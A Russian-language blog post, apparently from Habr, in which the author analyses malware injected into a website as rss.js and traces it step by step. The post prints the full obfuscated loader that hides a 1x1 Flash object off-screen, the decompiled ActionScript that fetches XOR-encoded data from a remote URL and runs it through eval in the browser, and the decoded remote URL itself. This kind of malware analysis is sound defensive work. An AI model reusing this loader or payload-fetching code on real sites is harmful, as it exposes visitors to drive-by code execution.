Как стать автором
Обновить

Вирус на сайте или реверс-инжиниринг Exploit.SWF.254

Время на прочтение 5 мин
Количество просмотров 29K
Все началось с того, что на моем рабочем ноутбуке (Win XP) админ установил новый антивирус. В один прекрасный день, когда я зашел на один из своих сайтов, я обнаружил вот такую неприятную картину:



Update: Антивирус Dr.Web, скрипт до сих пор на сайте тут

Конечно же первое что я захотел сделать это удалить его, для этого нужно было просто зайти по FTP и прибить rss.js файл. Но тут вдруг оказалось что я не могу зайти на сайт по FTP, так как хостинг и домен не мои, и видимо недавно админы сменили логин и пароль. Дозвониться владельцам так и не удалось, зато понять что именно делает вирус было очень любопытно…



Итак, делать это на рабочем ноуте я не рискнул, решил заняться этим дома, так как на домашнем компе стоит макось бояться было нечего никакой антивирус не орал и не мешал работать. Первым делом я посмотрел что делает rss.js

function addNewObject () {
	try {
		var ua = navigator.userAgent.toLowerCase();
		if ((ua.indexOf("chrome") == -1 && ua.indexOf("win") != -1) && navigator.javaEnabled()) {
			var jtFRvRDNg=["subs\x74\x72","F\x55\x64\x59z\x73\x4dVX\x65XZ\x70\x6e\x6e\x79a.\x73wf\x66\x50Myo\x56\x6cV\x76\x43\x52q\x59oeF\x61","\x6aH\x4c/0\x38\x2d\x6bo\x68a\x77POT\x55\x4aGp","\x6f\x73F\x4e\x74x\x2f\x6dp\x33\x2fv\x69di\x72\x76\x61ni"];var counter = jtFRvRDNg[35-32][jtFRvRDNg[0]](-60+95-29,70+22-91+13) + jtFRvRDNg[2][jtFRvRDNg[0]](94-75-16,36+83-111) + jtFRvRDNg[17-16][jtFRvRDNg[0]](66+2+81-135,51-44);
			var div = document.createElement('div');
			div.innerHTML  = '<object id="dummy" name="dummy" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="1" height="1">';
			div.innerHTML += '<param name="allowScriptAccess" value="always" \/>';
			div.innerHTML += '<param name="movie" value="'+ counter +'" \/>';
			div.innerHTML += '<embed id="dummy2" name="dummy2" src="'+ counter +'" width="1" height="1" name="flash" allowScriptAccess="always" type="application\/x-shockwave-flash" \/>';
			div.innerHTML += '<\/object>';
			div.style.position = 'absolute';
			div.style.left = '-100px';
			div.style.top = '-100px';
			document.body.insertBefore(div, document.body.children[0]);
		}
	} catch (e) {
		if (document.body == undefined || document.body.children[0] == undefined) {
			setTimeout('addNewObject()', 50);
		}
	}
}
addNewObject();


Из кода очевидно что скрипт создает swf и внедряет его в код страницы, чтобы понять откуда он берет swf делаем деобфускацию вот этого странного куска кода:

var jtFRvRDNg=["subs\x74\x72","F\x55\x64\x59z\x73\x4dVX\x65XZ\x70\x6e\x6e\x79a.\x73wf\x66\x50Myo\x56\x6cV\x76\x43\x52q\x59oeF\x61","\x6aH\x4c/0\x38\x2d\x6bo\x68a\x77POT\x55\x4aGp","\x6f\x73F\x4e\x74x\x2f\x6dp\x33\x2fv\x69di\x72\x76\x61ni"];var counter = jtFRvRDNg[35-32][jtFRvRDNg[0]](-60+95-29,70+22-91+13) + jtFRvRDNg[2][jtFRvRDNg[0]](94-75-16,36+83-111) + jtFRvRDNg[17-16][jtFRvRDNg[0]](66+2+81-135,51-44);


Для этого создаем и запускаем вот такой простой файл

<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
<script type="text/javascript">
    var jtFRvRDNg = ["subs\x74\x72", "F\x55\x64\x59z\x73\x4dVX\x65XZ\x70\x6e\x6e\x79a.\x73wf\x66\x50Myo\x56\x6cV\x76\x43\x52q\x59oeF\x61", "\x6aH\x4c/0\x38\x2d\x6bo\x68a\x77POT\x55\x4aGp", "\x6f\x73F\x4e\x74x\x2f\x6dp\x33\x2fv\x69di\x72\x76\x61ni"];
    var counter = jtFRvRDNg[35 - 32][jtFRvRDNg[0]](-60 + 95 - 29, 70 + 22 - 91 + 13) + jtFRvRDNg[2][jtFRvRDNg[0]](94 - 75 - 16, 36 + 83 - 111) + jtFRvRDNg[17 - 16][jtFRvRDNg[0]](66 + 2 + 81 - 135, 51 - 44);
    alert(counter);
</script>
</body>
</html>


И сразу видим откуда подгружается вредоносный swf



Update: Ссылка на swf

Теперь осталось самое легкое, узнать что делает этот flash ролик, немного погуглив нашел несколько декомпиляторов swf, но оказалось что файл защищен от декомпиляции



Update: Вот этим был «защищен» swf от декомпиляции

И понять что делает вредоносный ActionScript невооруженным глазом нельзя:

Длинный непонятный код
//Кадр 0
//  Action tag #0

for (;;) 
{
    if (1847114876 == 1847115088) 
    {
        false;
        1238734783 & -1238734784;
        function decrypt(hex)
        {
            var __reg5;
            var __local0;
            if (205673138 ^ 205673138) 
            {
                __local0 = __reg5 = "A";
            }
            else 
            {
                __reg5 = "A";
                var __reg1;
                __local0 = __reg1 = 0;
            }
            __local0;
            for (;;) 
            {
                408838581 ^ 408838581;
                2136550932 & -2136550933;
                if (__reg1 >= hex.B) 
                {
                    break;
                }
                if (1890669217 ^ 1890669217) 
                {
                    "C";
                }
                else 
                {
                    var __reg3;
                    if (!(1502222836 ^ 1502222836)) 
                    {
                        __reg3 = hex.C(__reg1, 2);
                    }
                }
                1234629013 ^ 1234629013;
                127070979 & -127070980;
                var __reg2 = int("D" + __reg3);
                1130412752 ^ 1130412752;
                __reg2 = __reg2 ^ 5;
                1618839222 & -1618839223;
                if (!(1876906722 ^ 1876906722)) 
                {
                    __reg5 = __reg5 + chr(__reg2);
                }
                var __local1;
                var __local2;
                if (1459356484 ^ 1459356484) 
                {
                    __local1 = __reg1;
                    __local2 = 2;
                }
                else 
                {
                    __reg1 = __reg1 + 2;
                    __local1 = 1035411512;
                    __local2 = -1035411513;
                }
                __local1 & __local2;
            }
            return __reg5;
        }
        function checkFileLoaded()
        {
        };
        1791047020 & -1791047021;
        var  = "";
        1234090841 ^ 1234090841;
        353477196 ^ 353477196;
        if (!(1023518590 ^ 1023518590)) 
        {
            ("E", ());
        }
        1053853491 & -1053853492;
        657257249 & -657257250;
        var  = (, 200);
        503511606 ^ 503511606;
        694364267 ^ 694364267;
        2090915988 & -2090915989;
        loadVariables(G(), E);
        if (736039747 != 736040114) 
        {
            continue;
        }
    }
}




Еще немного погуглив нашел декомпилятор swf со встроенной функцией деобфускации, и вот такой код уже намного понятнее читать:

function decrypt(hex)
{
   var _loc5_ = "";
   var _loc1_ = 0;
   while(_loc1_ < hex.length)
   {
      var _loc3_ = hex.substr(_loc1_,2);
      var _loc2_ = int("0x" + _loc3_);
      _loc2_ = _loc2_ ^ 5;
      _loc5_ = _loc5_ + chr(_loc2_);
      _loc1_ = _loc1_ + 2;
   }
   return _loc5_;
}
function checkFileLoaded()
{
   if(container.data != undefined)
   {
      var _loc1_ = container.data;
      _loc1_ = decrypt(_loc1_);
      flash.external.ExternalInterface.call("eval",_loc1_);
      clearInterval(loadingInterval);
   }
}
var url = "6d7171753f2a2a7d64717c71642b75752b70642a666a706b7160772a6d6c712a66696c606b715a6160306163353334663c3c353333613d37666366313632633767353c3c313030";
this.createEmptyMovieClip("container",this.getNextHighestDepth());
var loadingInterval = setInterval(checkFileLoaded,200);
loadVariables(decrypt(url),container);


Update: Декомпилятор SWF с деобфускатором

Вот это уже интереснее, видим что тут есть url на который идет пинг, но даже в «защищенном» swf url закодирован, хорошо постарались ребята. У меня под рукой не оказалось флеш-редактора, нашел онлайн компилятор action script, скопировал кусок кода который декодирует зветный url и выводим:

class Test {
function decrypt(hex)
{
   var _loc5_ = "";
   var _loc1_ = 0;
   while(_loc1_ < hex.length)
   {
      var _loc3_ = hex.substr(_loc1_,2);
      var _loc2_ = int("0x" + _loc3_);
      _loc2_ = _loc2_ ^ 5;
      _loc5_ = _loc5_ + chr(_loc2_);
      _loc1_ = _loc1_ + 2;
   }
   return _loc5_;
}

  public function Test(mc) {
    var url = "6d7171753f2a2a7d64717c71642b75752b70642a666a706b7160772a6d6c712a66696c606b715a6160306163353334663c3c353333613d37666366313632633767353c3c313030";
    trace(decrypt(url));
  }

  public static function main(mc:MovieClip) {
    var test = new Test(mc);
  }
}


Update: Вот тут можно запустить ActionScript прямо в браузере

Update: В результате получаем url:
http://xatyta.pp.ua/counter/hit/client_de5df061c99066d82cfc437f2b099455


Смысл этого эксплоита для меня так и остался загадкой, кто-то просто собирает статистику посещения сайта? А что думает хабр, жду комментарии, может кто-то сталкивался с подобным?

P.S. Умышленно не приводил ссылки на антивирус, декомпиляторы, онлайн сервисы и прочие ссылки

Update: добавил опрос

Update 2: добавил ссылки
Теги:
Хабы:
+22
Комментарии 13
Комментарии Комментарии 13

Публикации

Истории

Работа

Ближайшие события

Московский туристический хакатон
Дата 23 марта – 7 апреля
Место
Москва Онлайн
Геймтон «DatsEdenSpace» от DatsTeam
Дата 5 – 6 апреля
Время 17:00 – 20:00
Место
Онлайн